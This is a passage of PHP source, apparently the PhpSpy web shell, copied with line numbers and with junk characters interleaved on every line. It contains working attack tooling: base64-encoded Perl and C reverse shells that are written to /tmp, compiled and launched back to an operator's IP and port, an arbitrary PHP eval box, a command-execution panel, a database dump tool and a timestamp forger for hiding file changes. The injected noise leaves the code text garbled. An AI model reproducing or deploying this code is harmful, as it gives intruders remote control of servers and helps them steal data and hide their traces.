  1013.                                                                 case 2:6 i, e! W9 d( t% m: V4 N; v
  1014.                                                                         $ar = mysql_affected_rows();; v7 d- t, e' V- k8 t2 B
  1015.                                                                         p('<h2>affected rows : <b>'.$ar.'</b></h2>');' `5 @% B+ N- s1 f5 h- u
  1016.                                                                         break;* g* n+ s# X' ~& i* U8 ?7 v
  1017.                                                         }% w, @3 P: C# ]% c
  1018.                                                 }
    : Y1 I! J. _$ e/ i8 E  L
  1019.                                         }
    0 [9 V5 Y8 I; G) d' u
  1020.                                 }( \& Q! r! K! v0 c+ G
  1021.                         } else {9 N2 p+ B  d; B7 X% I+ Z& o& ?1 Y
  1022.                                 $query = q("SHOW TABLE STATUS");# s9 v' `7 n0 D. c( z
  1023.                                 $table_num = $table_rows = $data_size = 0;; Q# g9 U& J$ m% {
  1024.                                 $tabledb = array();
    : W; N4 b! T: [* b5 e
  1025.                                 while($table = mysql_fetch_array($query)) {9 M) ]+ Z5 ]3 s- h! y+ Z
  1026.                                         $data_size = $data_size + $table['Data_length'];; j# ]/ [4 A% F' R/ [
  1027.                                         $table_rows = $table_rows + $table['Rows'];8 L; E% x% B: X# d- h
  1028.                                         $table['Data_length'] = sizecount($table['Data_length']);" ~! k/ U3 X6 Z) |2 {$ g: C
  1029.                                         $table_num++;
    ) l& `' T4 L  e3 q8 E+ `/ E4 k9 M
  1030.                                         $tabledb[] = $table;1 X$ H$ Z3 N% b% x, l5 Y2 `
  1031.                                 }, ]7 g, \9 _# c2 Y# m9 r
  1032.                                 $data_size = sizecount($data_size);, Q  L) j9 p8 j' A' _# y6 I
  1033.                                 unset($table);
    $ n; I* E6 @& N2 n
  1034.                                 p('<table border="0" cellpadding="0" cellspacing="0">');
    - ]# ~$ S+ O8 V* H
  1035.                                 p('<form action="'.$self.'" method="POST">');/ a8 {0 P! X8 d* Y
  1036.                                 makehide('action','sqladmin');  d  h3 v# d5 V2 W+ @6 b) q" J
  1037.                                 p($dbform);
    1 m: k1 C# e9 ~5 i* ^! z7 s
  1038.                                 p('<tr class="head">');! L6 h0 R. b0 a8 t
  1039.                                 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
    1 c$ m. ~  Y5 g0 ?$ G1 i2 R
  1040.                                 p('<td>Name</td>');5 X6 {2 P6 R" w/ W
  1041.                                 p('<td>Rows</td>');: R, a3 i' e6 d* g: m4 s
  1042.                                 p('<td>Data_length</td>');
    3 n* f# ]: q- O1 m4 c
  1043.                                 p('<td>Create_time</td>');
    6 C( @3 l% g1 n* n. ~
  1044.                                 p('<td>Update_time</td>');2 S% V) w: b3 n3 f7 Z: F
  1045.                                 if ($highver) {7 R3 H0 ^* {- A& X" I+ I7 H
  1046.                                         p('<td>Engine</td>');5 h" `5 A2 O. I; x8 f
  1047.                                         p('<td>Collation</td>');
    0 |/ j* V. G9 ]; j
  1048.                                 }) h) `" v" F1 f5 G- n
  1049.                                 p('</tr>');
    ! i% b6 M; a) q( P* V; r
  1050.                                 foreach ($tabledb as $key => $table) {* R! I* P7 n- g4 I5 {) A9 j
  1051.                                         $thisbg = bg();3 j0 j2 r! p7 r# o( Z9 e5 h
  1052.                                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    8 W$ f! \% e) R  |4 ~4 M
  1053.                                         p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');8 d  B( \, T: H' A  @$ {9 J
  1054.                                         p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
    ; @# E1 ^6 T4 X# Z! d; Y
  1055.                                         p('<td>'.$table['Rows'].'</td>');
    0 v! F4 e( F) D0 Z( Y% q
  1056.                                         p('<td>'.$table['Data_length'].'</td>');
    6 a* m) W- E3 K$ s2 t4 v( `
  1057.                                         p('<td>'.$table['Create_time'].'</td>');. a# m/ Y! W# R7 G- ]( z, \2 ^! x
  1058.                                         p('<td>'.$table['Update_time'].'</td>');0 M( d2 [) E: n2 [1 A* m6 |% k! U
  1059.                                         if ($highver) {! O4 ~1 U- \. Y7 A* I) Z4 o
  1060.                                                 p('<td>'.$table['Engine'].'</td>');
      Z( H. J; B' d+ m& u& i: J
  1061.                                                 p('<td>'.$table['Collation'].'</td>');: \8 T) b. l* G
  1062.                                         }$ U# I; l2 z+ u/ ^! ?
  1063.                                         p('</tr>');  H  G/ G0 H; d" z
  1064.                                 }  W5 m6 x) H: y/ r" h
  1065.                                 p('<tr class='.bg().'>');+ b2 O3 b4 D8 x# S' ^" j: i
  1066.                                 p('<td> </td>');
    3 C$ g; D# v/ N: s& m! F
  1067.                                 p('<td>Total tables: '.$table_num.'</td>');
    ' U& M+ c: J6 x  `. {
  1068.                                 p('<td>'.$table_rows.'</td>');+ j$ H; V7 }. J5 u% R
  1069.                                 p('<td>'.$data_size.'</td>');
    * g5 C$ k+ m1 |5 g# ]* ]
  1070.                                 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
    5 p0 L$ I7 O! B0 j
  1071.                                 p('</tr>');
    * ?+ y8 d# c; ]- a( J  `# }
  1072.                                 p("<tr class="".bg().""><td colspan="".($highver ? 8 : 6).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>");
    : X+ F4 z$ q! k; l. O
  1073.                                 makehide('doing','backupmysql');
    * x6 }; t( a( Q1 ]
  1074.                                 formfoot();
    3 E( z' J$ w1 R6 b
  1075.                                 p("</table>");" ^& J* r0 p. C8 x
  1076.                                 fr($query);* \- [' U& Q* ?- V
  1077.                         }" q5 t( r: W# X
  1078.                 }% c  m7 C4 @/ w* t
  1079.         }; z( r. D0 ~5 v- d7 ^5 J) ^' q7 }
  1080.         tbfoot();" m5 L" T; M) J8 }7 ?0 N
  1081.         @mysql_close();
      F2 O% b  C5 w' I. x3 Q  |
  1082. }//end sql backup, ~9 |% N# _2 a, }# \' b
  1083. elseif ($action == 'backconnect') {" H% y) x5 V$ p
  1084.         !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];6 [6 c6 ?3 D; R/ e4 V
  1085.         !$yourport && $yourport = '12345';1 g& `( U5 p6 w2 J
  1086.         $usedb = array('perl'=>'perl','c'=>'c');
    ; m9 Q4 a1 U$ t
  1087.         $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
    5 q! N/ C% H5 d" I
  1088.                 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".. |5 A9 X0 }! ?
  1089.                 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
    3 L. M+ J. E$ D% ]* M
  1090.                 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
      \) q2 [- B8 a' e
  1091.                 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".: M7 ^- c, Y: y
  1092.                 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".) u/ b: B' r. H2 H' `  P: B4 J5 K0 n
  1093.                 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
    2 K1 T. L; V/ y0 w! g( N
  1094.         $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".1 G% p( B3 z& w1 }( {# B
  1095.                 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".. h' ]% K  C# U9 K: w2 K* @
  1096.                 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
    3 Y' o: s. l+ s- i" x  Z
  1097.                 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".3 K/ t8 v2 _# N- E& i1 w* @- [+ Q
  1098.                 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
    " d! I* M- ?( z# J! k8 [  ?, K
  1099.                 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".# N0 ~7 {  F) y9 N% o" j
  1100.                 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".; G0 U; E( p/ _3 r
  1101.                 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
    6 v) h; o4 `9 k
  1102.         if ($start && $yourip && $yourport && $use){
    1 Q# J! ]8 h$ O) \$ D: r
  1103.                 if ($use == 'perl') {
    2 u, h7 u& L' E# i, g% \
  1104.                         cf('/tmp/angel_bc',$back_connect);. e/ G$ c/ Z; n
  1105.                         $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");" Z9 C/ U$ }; }1 O
  1106.                 } else {
    * c" _5 ?4 p' ^  n! ^
  1107.                         cf('/tmp/angel_bc.c',$back_connect_c);
    3 [. J, S: p: g' i9 y! G
  1108.                         $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
    7 g2 t% }& h1 n8 i+ C/ o1 e
  1109.                         @unlink('/tmp/angel_bc.c');: q2 D% ?& T3 a6 z7 L& m; T/ e
  1110.                         $res = execute("/tmp/angel_bc $yourip $yourport &");; j9 F! u/ Z5 D$ x5 k4 g
  1111.                 }
    7 ~" W8 c) i9 y* g( G  X
  1112.                 m("Now script try connect to $yourip port $yourport ...");
    - A6 h$ I8 C, E" R- \' c
  1113.         }1 x% B5 c* ]8 |. r9 g! l- U
  1114.         formhead(array('title'=>'Back Connect'));0 ~; j7 w: N0 j2 w
  1115.         makehide('action','backconnect');
    : S% p; w- [: I
  1116.         p('<p>');
    9 u9 X; s: Q2 F& v& u
  1117.         p('Your IP:');
    2 s. s. K( J; d2 P/ N, y
  1118.         makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));" ~; p3 V% D) T, h0 N. W5 N( e
  1119.         p('Your Port:');
    $ p7 m' F% G: F- Q0 V% y+ O
  1120.         makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));2 A4 I: j  H2 {, Y
  1121.         p('Use:');8 B8 v+ G1 Q9 B. \% L
  1122.         makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
    0 p3 A/ r# u! e/ J( T4 {, e! U! E
  1123.         makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));; Z5 M3 W  J$ u8 I/ H
  1124.         p('</p>');
    8 ^; E' K/ h. U. v6 ]3 a, S! w
  1125.         formfoot();' c) q8 E( |# Q5 Y8 |
  1126. }//end sql backup* J/ C; w  ]6 L
  1127. elseif ($action == 'eval') {
    5 g& D8 U# M8 {# w& U0 X
  1128.         $phpcode = trim($phpcode);
    # T/ t  }7 P% r& U: Z! C
  1129.         if($phpcode){
    ' @. q( I# h# {& S4 n0 `! n
  1130.                 if (!preg_match('#<\?#si', $phpcode)) {
      {+ g3 h: o2 c
  1131.                         $phpcode = "<?php\n\n{$phpcode}\n\n?>";% k% h' p1 \% @7 t% v" D
  1132.                 }2 a6 r4 e+ U, `
  1133.                 eval("?".">$phpcode<?");
    0 W' D  Y3 p. w
  1134.         }+ g! w2 U! R: v( U
  1135.         formhead(array('title'=>'Eval PHP Code'));2 _3 W6 |9 s0 f0 _+ c0 o
  1136.         makehide('action','eval');
    * q, \) y' K6 c+ ]) y. X0 O! G
  1137.         maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
    6 W/ h0 c) H) [) E' f
  1138.         p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
    - x1 [' ^: L* @- O9 [
  1139.         formfooter();
    $ `3 c6 k# f7 K: T( X' ?
  1140. }//end eval  H* v1 ], c) U9 j0 e9 C
  1141. 7 @6 h/ T4 X' d+ z- F
  1142. elseif ($action == 'editfile') {
    9 t. i3 T. l, Y/ E) c5 _' ?
  1143.         if(file_exists($opfile)) {
    " b/ l+ t" v+ T% U' v. W
  1144.                 $fp=@fopen($opfile,'r');0 W) b3 ]3 K7 W( r
  1145.                 $contents=@fread($fp, filesize($opfile));5 o" g+ \- g# E1 \. Z, |5 Q1 c
  1146.                 @fclose($fp);
    % A# T; t! H: j  ?! ~
  1147.                 $contents=htmlspecialchars($contents);
    ' C/ m% y& Y: ~. a1 p: s
  1148.         }
    " k; Q1 Z$ q5 q7 C
  1149.         formhead(array('title'=>'Create / Edit File'));
    ) J; v9 Y+ G( t
  1150.         makehide('action','file');! m. ]: }: M% D3 m* e' x- q; [
  1151.         makehide('dir',$nowpath);0 s2 l) @* F' j
  1152.         makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));2 ~# W2 Y5 f6 Z7 s
  1153.         maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
    0 u; W3 Q( h/ Q6 a6 A# T
  1154.         formfooter();
    . q: B' Q! V1 I
  1155. }//end editfile
    0 x8 n! X3 n* s. z
  1156. + Y' n) X+ x! p0 [1 \( |% z4 ~
  1157. elseif ($action == 'newtime') {
    & D1 M7 O9 P( o( {1 x2 j
  1158.         $opfilemtime = @filemtime($opfile);
    + E$ \: w* u% D2 m
  1159.         //$time = strtotime("$year-$month-$day $hour:$minute:$second");' m) P( n% _: Q2 A; M" [  P( P  P
  1160.         $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
    3 E6 z& ^' g) Z% `+ Z% R
  1161.         formhead(array('title'=>'Clone file was last modified time'));" |+ D- a" j* K7 C( H& H8 t
  1162.         makehide('action','file');
    7 `5 s4 z: ?) e8 a) c% \$ D4 m
  1163.         makehide('dir',$nowpath);
    5 W3 u0 `2 J5 K9 |" G( ~; W8 R
  1164.         makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));) q% r! N9 I6 S; d% h. A& o
  1165.         makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));- p5 w+ x( q2 y! B
  1166.         formfooter();
    + z( J& t- Q* ?: N, {( U) U2 l
  1167.         formhead(array('title'=>'Set last modified'));
    9 F5 r1 |8 u% n# R
  1168.         makehide('action','file');
    . k4 \4 I5 A, R/ k% p' T! W5 I
  1169.         makehide('dir',$nowpath);4 E8 w+ o2 |2 a7 j4 d9 L% [! C
  1170.         makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
    / v# ^; h& F2 w" v
  1171.         p('<p>Instead »');* U6 b8 u* p: k9 S$ y2 ?$ s( C) i
  1172.         p('year:');
    % J& Y& ?: \, G2 `3 h7 u
  1173.         makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));/ W8 y' Y1 U/ }; L1 N; u! \
  1174.         p('month:');) R0 b4 k3 O+ f4 I
  1175.         makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
    + y8 |  N% I. h# ~
  1176.         p('day:');5 y1 i* T! h. N1 p6 r2 w1 z
  1177.         makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));1 b# i; V  m2 q0 G* P
  1178.         p('hour:');
    % I# Q, C; `7 k$ R; H. W3 G
  1179.         makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
    $ T6 k3 x- k( P) l" Z
  1180.         p('minute:');; }# w* a8 m/ _1 h* w
  1181.         makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));* P5 V" e; l  `. u
  1182.         p('second:');
    1 W1 k2 g( p- f/ S
  1183.         makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
    ; v, |+ U7 |) E: `  U6 T( p
  1184.         p('</p>');3 l9 s9 n+ O) |+ V9 t# d6 `
  1185.         formfooter();0 D, z6 X* p8 e5 f
  1186. }//end newtime
      F, u/ d% [8 M* X4 B

  1187. $ G5 g7 ^1 {. L/ {5 e
  1188. elseif ($action == 'shell') {; y" n) j) h' V7 ~
  1189.         if (IS_WIN && IS_COM) {0 D) U6 s! n1 ?5 e% V) k0 |9 R7 R
  1190.                 if($program && $parameter) {9 H/ Y7 S4 l6 S9 C
  1191.                         $shell= new COM('Shell.Application');
    0 a$ |; c, D/ K8 Z: s1 k
  1192.                         $a = $shell->ShellExecute($program,$parameter);6 I) o/ `% O  _; o1 t+ I
  1193.                         m('Program run has '.(!$a ? 'success' : 'fail'));
    " ?! Q1 O9 Y0 N$ T  ~. U
  1194.                 }9 B/ D: n5 w( R: r
  1195.                 !$program && $program = 'c:\windows\system32\cmd.exe';: e# i# M' Z* Q* _" g# ?
  1196.                 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';- W6 E- {. w4 T/ J4 Q
  1197.                 formhead(array('title'=>'Execute Program'));
    + x$ s& Y7 A1 a; c: f+ W4 y4 q
  1198.                 makehide('action','shell');: ?: q  V" ~' y( {
  1199.                 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));1 D! d+ ?  n0 V" m
  1200.                 p('<p>');
    , S" J3 [1 s7 U
  1201.                 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));2 U0 y9 ^  X, C2 D: v' r0 p' r) \
  1202.                 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
    0 |- ^; a4 K$ D1 \
  1203.                 p('</p>');
    : O8 U/ z/ E% A$ O/ @) O  N
  1204.                 formfoot();, }% j- ]% J$ J# S1 t: @: [" P
  1205.         }
    : s/ S; ^6 n  C
  1206.         formhead(array('title'=>'Execute Command'));
    6 }  f$ z! @4 w9 I+ l! q+ @" v
  1207.         makehide('action','shell');
    9 b" b! I4 O+ F0 z% P2 o
  1208.         if (IS_WIN && IS_COM) {* \/ D+ W0 ?" E# v7 U
  1209.                 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');# U8 `( Q6 B/ i) o& W. @) y
  1210.                 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));$ e: H: j- g% i$ M& I8 ]
  1211.         }0 ]% {1 H2 @$ ?, q3 e# K2 L
  1212.         p('<p>');
    9 r% K8 ]5 o3 C. g& s. U. i: o1 ~
  1213.         makeinput(array('title'=>'Command','name'=>'command','value'=>$command));5 t$ ~9 ]# [+ j( w4 @
  1214.         makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));8 k% J) Z. ]; K) M# l
  1215.         p('</p>');( s* Z/ ]7 L0 {3 O; t
  1216.         formfoot();
    $ V- u1 w& F& ^9 A" E9 l/ h
  1217. $ E$ t9 Y9 g2 {8 Y
  1218.         if ($command) {+ V1 r0 g/ ]5 R3 i' Q5 ^5 h/ g
  1219.                 p('<hr width="100%" noshade /><pre>');, b1 P% i, q! o0 a9 T' j; ~
  1220.                 if ($execfunc=='wscript' && IS_WIN && IS_COM) {# B/ p9 w) I- i
  1221.                         $wsh = new COM('WScript.shell');
    ! \9 n5 k; ^' T  a& _
  1222.                         $exec = $wsh->exec('cmd.exe /c '.$command);" e. E& `9 k% ~) K' |
  1223.                         $stdout = $exec->StdOut();! o2 [' m' o/ J9 A
  1224.                         $stroutput = $stdout->ReadAll();1 ~# ?1 o. y9 i% r( |- d3 V
  1225.                         echo $stroutput;; N0 H& ~" j& n; _/ c
  1226.                 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {8 b- m+ D8 @8 j
  1227.                         $descriptorspec = array(( w2 b2 M: V+ \8 }
  1228.                            0 => array('pipe', 'r'),! E" a; }7 m+ K8 N8 n- y
  1229.                            1 => array('pipe', 'w'),
    4 c8 j. b2 j5 y, c$ h
  1230.                            2 => array('pipe', 'w')) w; H" @6 Y+ J: \0 X
  1231.                         );! y$ |' _$ m$ Z' ~7 M3 |" U
  1232.                         $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);) R/ D. B) m3 N+ e' A
  1233.                         if (is_resource($process)) {
    # j* o% ^! O* L9 x. }
  1234.                                 fwrite($pipes[0], $command."\r\n");
    # j( o, b& X! C8 J
  1235.                                 fwrite($pipes[0], "exit\r\n");
    / F8 o8 Y2 V( S' B
  1236.                                 fclose($pipes[0]);
    8 S* w  K2 H; x  o  q) S1 C
  1237.                                 while (!feof($pipes[1])) {
    % K9 O* f- W2 b" V% i& S
  1238.                                         echo fgets($pipes[1], 1024);
    4 W, [) q1 z: O
  1239.                                 }
    8 b' z# t* _# P7 v7 C+ S5 S
  1240.                                 fclose($pipes[1]);+ `( v7 I( a0 t( j+ |- w
  1241.                                 while (!feof($pipes[2])) {: Z: S" y9 N) A9 w9 Q4 s2 i4 |
  1242.                                         echo fgets($pipes[2], 1024);8 F; Y# S5 ~: i& O
  1243.                                 }
    & ~$ d" b$ j: p. R% y+ }6 I+ s* M
  1244.                                 fclose($pipes[2]);0 @* x$ R; @' {
  1245.                                 proc_close($process);5 A/ ~8 a7 k5 Z; c
  1246.                         }
      \  H2 n- D5 r6 V% {
  1247.                 } else {/ F7 j9 ^+ P& W9 e& ?& c2 h2 z
  1248.                         echo(execute($command));! m5 f& m/ i5 B# g- @: F% Z+ P* v* F
  1249.                 }2 m9 `7 _9 |* L% }: M0 b
  1250.                 p('</pre>');% |% z5 ~7 Q) z
  1251.         }
    6 _% U# q$ y! R+ @
  1252. }//end shell
    8 M8 G: y) Z3 ~( D
  1253. 1 ]5 w2 o0 F8 u0 y" W) _
  1254. elseif ($action == 'phpenv') {
      Z- g2 W: m/ f& x: r4 ?- S- y% _  Q
  1255.         $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';( g% i8 ?* D7 i
  1256.         $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');( D" E3 A. o4 K. J
  1257.         !$dis_func && $dis_func = 'No';        # ^9 X5 G- ?4 ~4 L* e+ @; L; A
  1258.         $info = array(
    ; @) V  `' \" }" J# d, S) U+ n1 S+ P
  1259.                 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
    ; }; q5 h* i8 I6 e* Q7 D4 E0 A3 k
  1260.                 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
    8 M* k' q3 m8 e8 E
  1261.                 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),: M5 b, ~6 P9 d! y' [5 g
  1262.                 4 => array('Server OS',PHP_OS),  `: h" ~! J3 t& m5 |: ~' F
  1263.                 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
    : j: d/ `  d2 b& b$ \1 S6 T) }5 Z; A
  1264.                 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),6 ]- X( M! d* G- g& C8 m1 {! d$ D
  1265.                 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),' Y6 s3 d( `. R$ q% x; O& J
  1266.                 8 => array('PHP run mode',strtoupper(php_sapi_name())),* b  w6 \& M7 j
  1267.                 9 => array('The file path',__FILE__),
    - k1 R9 w$ W8 Y- l4 h4 q% ]

  1268. / g7 r1 ~$ X% j) ?: a$ Z% @
  1269.                 10 => array('PHP Version',PHP_VERSION),, U2 s6 j/ k; l8 m+ s( }8 G
  1270.                 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
    - }, Z* i2 w2 l; S, ]4 p, X
  1271.                 12 => array('Safe Mode',getcfg('safe_mode')),' a: L5 w7 s* F8 J" Y$ s
  1272.                 13 => array('Administrator',$adminmail),
    " }; O) |* D& U. L  k, X1 ]
  1273.                 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
    & c# d6 C  K- m6 ^0 \. \9 h1 F& U* Z* b
  1274.                 15 => array('enable_dl',getcfg('enable_dl')),
    & \1 P( S2 Y* ^6 c6 Y7 z
  1275.                 16 => array('display_errors',getcfg('display_errors')),& H! c0 A2 s: w. N8 }2 D
  1276.                 17 => array('register_globals',getcfg('register_globals')),
    ( K) E( Q" V+ W: [
  1277.                 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),# c7 G0 ~! m8 _& i0 @
  1278.                 19 => array('memory_limit',getcfg('memory_limit')),
    1 X7 a/ m) I/ y) c
  1279.                 20 => array('post_max_size',getcfg('post_max_size')),& P  y+ V0 e& `) @2 ?8 V' c& ]
  1280.                 21 => array('upload_max_filesize',$upsize),
    ( O4 G" x/ F4 u
  1281.                 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
    8 W  l8 I3 q4 G: D
  1282.                 23 => array('disable_functions',$dis_func),
    7 _/ F2 r  M2 [0 P
  1283.         );
    0 t7 [1 P! t! A# g' `
  1284. & v. W4 E' S9 x! U/ F2 |9 Z1 ~
  1285.         if($phpvarname) {, o  c$ Z# A' c% h
  1286.                 m($phpvarname .' : '.getcfg($phpvarname));; O' @% K8 W8 A( q- C& ?
  1287.         }! ~$ g2 u. M2 r7 |$ F9 x4 C

  1288. 9 y9 s6 F" b2 `- S3 \# h
  1289.         formhead(array('title'=>'Server environment'));2 f- z  V) q% k: y; b
  1290.         makehide('action','phpenv');
    . a- T2 c, T: w/ k$ a% [+ c
  1291.         makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
    , _& Q& x6 \" X- }* L
  1292.         formfooter();
    $ Y' o# I0 u0 N3 h! p# f

  1293. ' R8 r- W; T: _, |. y. W" x$ {6 g( G
  1294.         $hp = array(0=> 'Server', 1=> 'PHP');& b$ ]6 v/ L1 C: C- N, E+ M( O$ Y- C+ I
  1295.         for($a=0;$a<2;$a++) {6 Y% I* [3 }4 M& g
  1296.                 p('<h2>'.$hp[$a].' »</h2>');
    / \0 Z  A  Z$ e3 Y+ c& b
  1297.                 p('<ul class="info">');$ }- p) o4 [( z, p6 ~: C) j  |
  1298.                 if ($a==0) {
    4 W/ l: G  x; Q5 ]& D
  1299.                         for($i=1;$i<=9;$i++) {0 ?! F1 f) A. {
  1300.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');' {) q) A2 t9 X5 W
  1301.                         }
    ( G) S; C* x8 ]8 ^4 B
  1302.                 } elseif ($a == 1) {
    2 f8 g6 q( ~+ m) [! @# i/ z
  1303.                         for($i=10;$i<=23;$i++) {
    . u* @: @+ g5 Y5 l; m7 j& Q
  1304.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');$ `* c+ K/ o( S9 n0 s4 t/ @
  1305.                         }
      t# P: X8 n' l# R5 `' t
  1306.                 }
    : c9 C% d! L% A/ k
  1307.                 p('</ul>');; o  E3 c: o2 f# F7 Z/ w' T+ W% X, T
  1308.         }+ o. E2 B1 \# U- K9 r
  1309. }//end phpenv
    # \9 k! u" U- }; j9 `" \

  1310. 8 I9 k; N+ D) l* U3 f
  1311. else {2 v" ^6 J/ ]& C5 k3 f
  1312.         m('Undefined Action');
    5 {. r% y. L' j; Y6 Q8 ~
  1313. }
    2 m$ I, O: _* Q/ u, H0 g- J1 p( ^% S
  1314. - }" [- y; j  t8 F3 x4 n
  1315. ?>3 q% |9 y: G! t2 b$ r0 q# e
  1316. </td></tr></table>
    4 e- K& @; K1 h
  1317. <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
    , ]  D3 B' K$ p9 E! O  k* m
